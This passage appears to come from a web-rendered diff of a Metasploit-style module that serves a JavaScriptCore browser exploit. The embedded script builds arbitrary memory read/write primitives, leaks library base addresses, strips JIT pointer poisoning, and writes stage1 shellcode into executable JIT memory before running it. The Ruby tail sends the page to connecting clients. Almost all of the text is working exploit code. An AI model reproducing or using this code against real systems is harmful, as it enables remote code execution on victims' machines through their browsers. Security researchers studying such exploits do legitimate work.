||||
/// Objects are corrupted, a GC would now crash the process.
|
||||
/// We'll try to repair everything as quickly as possible and with a minimal amount of memory allocations.
|
||||
///
|
||||
var driver = fakeobjOnce(fakeArrayAddr.asDouble());
|
||||
while (!(driver instanceof Float64Array)) {
|
||||
jsCellHeader.assignAdd(jsCellHeader, Int64.One);
|
||||
container.jsCellHeader = jsCellHeader.asJSValue();
|
||||
}
|
||||
|
||||
// Get some addresses that we'll need to repair our objects. We'll abuse the .mode
|
||||
// property of the container to leak addresses.
|
||||
driver[2] = containerRawAddr;
|
||||
var emptyObjectRawAddr = float64MemView[6];
|
||||
container.mode = referenceFloat64Array;
|
||||
var referenceFloat64ArrayRawAddr = float64MemView[6];
|
||||
|
||||
// Fixup the JSCell header of the container to make it look like an empty object.
|
||||
// By default, JSObjects have an inline capacity of 6, enough to hold the fake Float64Array.
|
||||
driver[2] = emptyObjectRawAddr;
|
||||
var header = float64MemView[0];
|
||||
driver[2] = containerRawAddr;
|
||||
float64MemView[0] = header;
|
||||
|
||||
// Copy the JSCell header from an existing Float64Array and set the butterfly to zero.
|
||||
// Also set the mode: make it look like an OversizeTypedArray for easy GC survival
|
||||
// (see JSGenericTypedArrayView<Adaptor>::visitChildren).
|
||||
driver[2] = referenceFloat64ArrayRawAddr;
|
||||
var header = float64MemView[0];
|
||||
var length = float64MemView[3];
|
||||
var mode = float64MemView[4];
|
||||
driver[2] = containerRawAddr;
|
||||
float64MemView[2] = header;
|
||||
float64MemView[3] = 0;
|
||||
float64MemView[5] = length;
|
||||
float64MemView[6] = mode;
|
||||
|
||||
// Root the container object so it isn't garbage collected.
|
||||
// This will allocate a butterfly for the fake object and store a reference to the container there.
|
||||
// The fake array itself is rooted by the memory object (closures).
|
||||
driver.container = container;
|
||||
|
||||
///
|
||||
/// END CRITICAL SECTION
|
||||
///
|
||||
/// Objects are repaired, we will now survive a GC
|
||||
///
|
||||
if (typeof(gc) !== 'undefined')
|
||||
gc();
|
||||
|
||||
memory = {
|
||||
read: function(addr, length) {
|
||||
driver[2] = memory.addrof(uint8MemView).asDouble();
|
||||
float64MemView[2] = addr.asDouble();
|
||||
var a = new Array(length);
|
||||
for (var i = 0; i < length; i++)
|
||||
a[i] = uint8MemView[i];
|
||||
return a;
|
||||
},
|
||||
|
||||
write: function(addr, data) {
|
||||
driver[2] = memory.addrof(uint8MemView).asDouble();
|
||||
float64MemView[2] = addr.asDouble();
|
||||
for (var i = 0; i < data.length; i++)
|
||||
uint8MemView[i] = data[i];
|
||||
},
|
||||
|
||||
read8: function(addr) {
|
||||
driver[2] = addr.asDouble();
|
||||
return Int64.fromDouble(float64MemView[0]);
|
||||
},
|
||||
|
||||
write8: function(addr, value) {
|
||||
driver[2] = addr.asDouble();
|
||||
float64MemView[0] = value.asDouble();
|
||||
},
|
||||
|
||||
addrof: function(obj) {
|
||||
float64MemView.leakme = obj;
|
||||
var butterfly = Int64.fromDouble(driver[1]);
|
||||
return memory.read8(Sub(butterfly, 0x10));
|
||||
},
|
||||
};
|
||||
|
||||
print("[+] Got stable memory read/write!");
|
||||
|
||||
// Find binary base
|
||||
var funcAddr = memory.addrof(Math.sin);
|
||||
var executableAddr = memory.read8(Add(funcAddr, 24));
|
||||
var codeAddr = memory.read8(Add(executableAddr, 24));
|
||||
var vtabAddr = memory.read8(codeAddr);
|
||||
var jscBaseUnaligned = Sub(vtabAddr, JSC_VTAB_OFFSET);
|
||||
print("[*] JavaScriptCore.dylib @ " + jscBaseUnaligned);
|
||||
var jscBase = And(jscBaseUnaligned, new Int64("0x7ffffffff000"));
|
||||
print("[*] JavaScriptCore.dylib @ " + jscBase);
|
||||
|
||||
var dyldStubLoaderAddr = memory.read8(jscBase);
|
||||
var dyldBase = Sub(dyldStubLoaderAddr, DYLD_STUB_LOADER_OFFSET);
|
||||
var strlenAddr = memory.read8(Add(jscBase, STRLEN_GOT_OFFSET));
|
||||
var libCBase = Sub(strlenAddr, STRLEN_OFFSET);
|
||||
print("[*] dyld.dylib @ " + dyldBase);
|
||||
print("[*] libsystem_c.dylib @ " + libCBase);
|
||||
|
||||
var confstrAddr = Add(libCBase, CONFSTR_OFFSET);
|
||||
print("[*] confstr @ " + confstrAddr);
|
||||
var dlopenAddr = Add(dyldBase, DLOPEN_OFFSET);
|
||||
print("[*] dlopen @ " + dlopenAddr);
|
||||
|
||||
// Patching shellcode
|
||||
var stage2Addr = memory.addrof(stage2);
|
||||
stage2Addr = memory.read8(Add(stage2Addr, 16));
|
||||
print("[*] Stage 2 payload @ " + stage2Addr);
|
||||
|
||||
stage1.replace(new Int64("0x4141414141414141"), confstrAddr);
|
||||
stage1.replace(new Int64("0x4242424242424242"), stage2Addr);
|
||||
stage1.replace(new Int64("0x4343434343434343"), new Int64(stage2.length));
|
||||
stage1.replace(new Int64("0x4444444444444444"), dlopenAddr);
|
||||
print("[+] Shellcode patched");
|
||||
|
||||
// Leak JITCode pointer poison value
|
||||
var poison_addr = Add(jscBase, 305152);
|
||||
print("[*] Poison value @ " + poison_addr);
|
||||
var poison = memory.read8(poison_addr);
|
||||
print("[*] Poison value: " + poison);
|
||||
|
||||
// Shellcode
|
||||
var func = makeJITCompiledFunction();
|
||||
var funcAddr = memory.addrof(func);
|
||||
print("[+] Shellcode function object @ " + funcAddr);
|
||||
var executableAddr = memory.read8(Add(funcAddr, 24));
|
||||
print("[+] Executable instance @ " + executableAddr);
|
||||
var jitCodeAddr = memory.read8(Add(executableAddr, 24));
|
||||
print("[+] JITCode instance @ " + jitCodeAddr);
|
||||
|
||||
var codeAddrPoisoned = memory.read8(Add(jitCodeAddr, 32));
|
||||
var codeAddr = Xor(codeAddrPoisoned, poison);
|
||||
print("[+] RWX memory @ " + codeAddr.toString());
|
||||
print("[+] Writing shellcode...");
|
||||
var origCode = memory.read(codeAddr, stage1.length);
|
||||
memory.write(codeAddr, stage1);
|
||||
|
||||
print("[!] Jumping into shellcode...");
|
||||
var res = func();
|
||||
if (res === 0) {
|
||||
print("[+] Shellcode executed sucessfully!");
|
||||
} else {
|
||||
print("[-] Shellcode failed to execute: error " + res);
|
||||
}
|
||||
|
||||
memory.write(codeAddr, origCode);
|
||||
print("[*] Restored previous JIT code");
|
||||
|
||||
print("[+] We are done here, continuing WebContent process as if nothing happened =)");
|
||||
if (typeof(gc) !== 'undefined')
|
||||
gc();
|
||||
}
|
||||
|
||||
ready.then(function() {
|
||||
try {
|
||||
pwn();
|
||||
} catch (e) {
|
||||
print("[-] Exception caught: " + e);
|
||||
}
|
||||
}).catch(function(err) {
|
||||
print("[-] Initializatin failed");
|
||||
});
|
||||
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
^
|
||||
unless datastore['DEBUG_EXPLOIT']
|
||||
html.gsub!(/^\s*print\s*\(.*?\);\s*$/, '')
|
||||
end
|
||||
send_response(cli, html, {'Content-Type'=>'text/html'})
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue